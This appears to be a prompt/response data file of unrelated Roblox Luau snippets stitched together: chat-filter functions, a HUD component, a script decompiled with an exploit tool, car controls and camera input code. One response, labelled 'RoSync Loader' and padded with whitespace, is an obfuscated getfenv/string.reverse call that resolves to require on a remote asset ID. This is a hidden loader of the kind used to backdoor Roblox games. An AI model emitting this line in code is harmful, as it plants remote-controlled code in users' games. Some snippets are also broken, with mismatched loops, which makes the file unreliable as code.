	return self.FilterMessageFunctions:HasFunction(funcId)
end

function methods:UnregisterFilterMessageFunction(funcId)
	if not self.FilterMessageFunctions:HasFunction(funcId) then
		error(string.format("FilterMessageFunction '%s' does not exists", funcId))
	end
	self.FilterMessageFunctions:RemoveFunction(funcId)
end

function methods:RegisterProcessCommandsFunction(funcId, func, priority)
	if self.ProcessCommandsFunctions:HasFunction(funcId) then
		error(string.format("ProcessCommandsFunction '%s' already exists", funcId))
	end
	self.ProcessCommandsFunctions:AddFunction(funcId, func, priority)
end

function methods:ProcessCommandsFunctionExists(funcId)
	return self.ProcessCommandsFunctions:HasFunction(funcId)
end

function methods:UnregisterProcessCommandsFunction(funcId)
	if not self.ProcessCommandsFunctions:HasFunction(funcId) then
		error(string.format("ProcessCommandsFunction '%s' does not exist", funcId))
	end
	self.ProcessCommandsFunctions:RemoveFunction(funcId)
end

local LastFilterNoficationTime = 0
local LastFilterIssueTime = 0
local FilterIssueCount = 0
function methods:InternalNotifyFilterIssue()
	if (tick() - LastFilterIssueTime) > FILTER_THRESHOLD_TIME then
		FilterIssueCount = 0
	end
	FilterIssueCount = FilterIssueCount + 1
	LastFilterIssueTime = tick()
	if FilterIssueCount >= FILTER_NOTIFCATION_THRESHOLD then
		if (tick() - LastFilterNoficationTime) > FILTER_NOTIFCATION_INTERVAL then
			LastFilterNoficationTime = tick()
			local systemChannel = self:GetChannel("System")
			if systemChannel then
				systemChannel:SendSystemMessage(
					ChatLocalization:FormatMessageToSend(
						"GameChat_ChatService_ChatFilterIssues",
						"The chat filter is currently experiencing issues and messages may be slow to appear."
					),
					errorExtraData
				)
			end
		end
	end
end

local StudioMessageFilteredCache = {}


Prompt: --- Creates callbacks and sets up initial state.

Response:
function ScopeHUD:init(props)
    self.Maid = Maid.new()
    self.LayoutRef = Roact.createRef()
    self.ContainerSize, self.UpdateContainerSize = Roact.createBinding(UDim2.new(0, 0, 0, 38/2))

    --- Processes input, listens for hover start
    function self.OnInputBegin(rbx, Input, WasProcessed)
        if WasProcessed then
            return
        end

        -- Set hovering state
        if (Input.UserInputType.Name == 'MouseMovement') or
           (Input.UserInputType.Name == 'Touch') then
            self:setState({
                IsHovering = true
            })
        end
    end

    --- Processes input, listens for hover end
    function self.OnInputEnd(rbx, Input, WasProcessed)
        if (Input.UserInputType.Name == 'MouseMovement') or
           (Input.UserInputType.Name == 'Touch') then
            self:setState({
                IsHovering = false
            })
        end
    end

    --- Processes requests from buttons to set scope
    function self.SetScopeFromButton(NewScope)
        self.props.Core.Targeting:SetScope(NewScope)
    end

    -- Set initial state
    self:UpdateTargetingState()
    self:setState({
        IsHovering = false;
        IsToolModeEnabled = (self.props.Core.Mode == 'Tool')
    })
end


Prompt: -- Decompiled with the Synapse X Luau decompiler.

Response:
local v1 = require(game.ReplicatedStorage:WaitForChild("Framework"):WaitForChild("Library"));
while not v1.Loaded do
	game:GetService("RunService").Heartbeat:Wait();
end;
local u1 = Random.new();
function CreatePet()
	local v2 = v1.Save.Get();
	if not v2 then
		return;
	end;
	local l__Pets__3 = v2.Pets;
	if #l__Pets__3 <= 0 then
		return;
	end;
	local v4 = l__Pets__3[u1:NextInteger(1, #l__Pets__3)];
	local v5 = v1.Directory.Pets[v4.id];
	local v6 = script.petFrame:Clone();
	v6.pet.Image = v4.dm and v5.darkMatterThumbnail or (v4.g and v5.goldenThumbnail or v5.thumbnail);
	if v4.r then
		v1.GUIFX.Rainbow(v6.pet, "ImageColor3", 3);
	end;
	v6.Position = UDim2.new(-1, 0, 0, 0);
	v6.Parent = script.Parent;
	v1.Functions.FastTween(v6, {
		Position = UDim2.new(1, 0, 0, 0)
	}, { 10, "Linear" }).Completed:Connect(function()
		v6:Destroy();
	end);
	coroutine.wrap(function()
		while true do
			if v6 then

			else
				break;
			end;
			if v6.Parent then

			else
				break;
			end;
			v1.Functions.FastTween(v6.pet, {
				Position = UDim2.new(0, 0, 0.2, 0)
			}, { 1, "Sine", "InOut" }).Completed:Wait();
			v1.Functions.FastTween(v6.pet, {
				Position = UDim2.new(0, 0, 0, 0)
			}, { 1, "Sine", "InOut" }).Completed:Wait();
		end;
	end)();
end;
while true do
	CreatePet();
	v1.Functions.Wait(1);
end;


Prompt: --//Settings

Response: BlurAmount = 15 -- Change this to increase or decrease the blur size


Prompt:
--[[
	Function called upon entering the state
]]

Response:
function PlayerFinished.enter(stateMachine, playerComponent)
	wait(3)
	if stateMachine.can("startSpectating") then
		stateMachine:startSpectating()
	end
end


Prompt: --[[ Constants ]]

Response:
--
local ZERO_VECTOR3 = Vector3.new(0,0,0)
	local movementKeys = {
		[Enum.KeyCode.W] = true;
		[Enum.KeyCode.A] = true;
		[Enum.KeyCode.S] = true;
		[Enum.KeyCode.D] = true;
		[Enum.KeyCode.Up] = true;
		[Enum.KeyCode.Down] = true;
	}

local Player = Players.LocalPlayer
local PlayerScripts = Player.PlayerScripts

local TouchJump = nil

local SHOW_PATH = true

local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList

local CurrentSeatPart = nil
local DrivingTo = nil

local XZ_VECTOR3 = Vector3.new(1,0,1)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local ZERO_VECTOR2 = Vector2.new(0,0)

local BindableEvent_OnFailStateChanged = nil
if UserInputService.TouchEnabled then


Prompt:
--[END]]
--[[ Last synced 4/22/2021 03:59                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[                                                                                ]]--


Prompt: --//Shifting//-

Response:
if key == "j" then
	if carSeat.Values2.DTR.Value == true then
		carSeat.Values2.DTR.Value = false
		else
		carSeat.Values2.DTR.Value = true
	end
elseif key == "g" then
	 if carSeat.Values2.Lights.Value == true then
		carSeat.Values2.Lights.Value = false
	else
			carSeat.Values2.Lights.Value = true
		end
elseif key == "-" then
	 if carSeat.Values2.Emblems.Value == true then
		carSeat.Values2.Emblems.Value = false
		else
		carSeat.Values2.Emblems.Value = true
end
elseif key == "m" then
		for index, child in pairs(carSeat.Body.RipEars:GetChildren()) do
  		child:Play()
		end

elseif key == "h" then
		for index, child in pairs(carSeat.Body.Horn:GetChildren()) do
  		child:Play()
		end

elseif key == "c" then
	if script.Parent.IsOn.Value == true then
	script.Parent.IsOn.Value = false
carSeat.Values2.Lights.Value = false
carSeat.Values2.DTR.Value = false
carSeat.Values2.Halo.Value = false
carSeat.Body.RLFRONT.R1.Light.Enabled = false
carSeat.Body.RLFRONT.R2.Light.Enabled = false
carSeat.Body.RLREAR.R1.Light.Enabled = false
carSeat.Body.RLREAR.R2.Light.Enabled = false
		for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do
  		child.Enabled = false
		end
			for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do
  		child.Enabled = false
			end
			for index, child in pairs(carSeat.Body.ExhaustSmoke.E3:GetChildren()) do
  		child.Enabled = false
		end
			for index, child in pairs(carSeat.Body.ExhaustSmoke.E4:GetChildren()) do
  		child.Enabled = false
		end
carSeat.DriveSeat.Start1:Stop()
carSeat.DriveSeat.Start2:Stop()
carSeat.DriveSeat.Rev:Stop()
carSeat.DriveSeat.Rev2:Stop()
carSeat.DriveSeat.Rev3:Stop()
carSeat.DriveSeat.Idle:Stop()
else
carSeat.Values2.Lights.Value = true
carSeat.Values2.DTR.Value = true
carSeat.Values2.Halo.Value = true
carSeat.Values2.Emblems.Value = true
carSeat.Body.RLFRONT.R1.Light.Enabled = true
carSeat.Body.RLFRONT.R2.Light.Enabled = true
carSeat.Body.RLREAR.R1.Light.Enabled = true
carSeat.Body.RLREAR.R2.Light.Enabled = true
carSeat.DriveSeat.Start1:Play()
carSeat.DriveSeat.Start2:Play()
for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do
  		child.Enabled = true
for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do
  		child.Enabled = true
end
end
wait(5.33)
script.Parent.IsOn.Value = true
carSeat.DriveSeat.Idle:Play()
wait(0.5)
carSeat.DriveSeat.Rev:Play()
carSeat.DriveSeat.Rev2:Play()
carSeat.DriveSeat.Rev3:Play()
		for index, child in pairs(carSeat.Body.ExhaustSmoke.E1:GetChildren()) do
  		child.Enabled = false
		end
			for index, child in pairs(carSeat.Body.ExhaustSmoke.E2:GetChildren()) do
  		child.Enabled = false
			end
			for index, child in pairs(carSeat.Body.ExhaustSmoke.E3:GetChildren()) do
  		child.Enabled = true
		end
			for index, child in pairs(carSeat.Body.ExhaustSmoke.E4:GetChildren()) do
  		child.Enabled = true
		end
wait(3)

	end

end


Prompt: -- This is called when settings menu is opened

Response:
function BaseCamera:ResetInputStates()
	self.isRightMouseDown = false
	self.isMiddleMouseDown = false
	self:OnMousePanButtonReleased() -- this function doesn't seem to actually need parameters

	if UserInputService.TouchEnabled then
		--[[menu opening was causing serious touch issues
		this should disable all active touch events if
		they're active when menu opens.]]
		for inputObject in pairs(self.fingerTouches) do
			self.fingerTouches[inputObject] = nil
		end
		self.panBeginLook = nil
		self.startPos = nil
		self.lastPos = nil
		self.userPanningTheCamera = false
		self.startingDiff = nil
		self.pinchBeginZoom = nil
		self.numUnsunkTouches = 0
	end
end

function BaseCamera:GetGamepadPan(name, state, input)
	if input.UserInputType == self.activeGamepad and input.KeyCode == Enum.KeyCode.Thumbstick2 then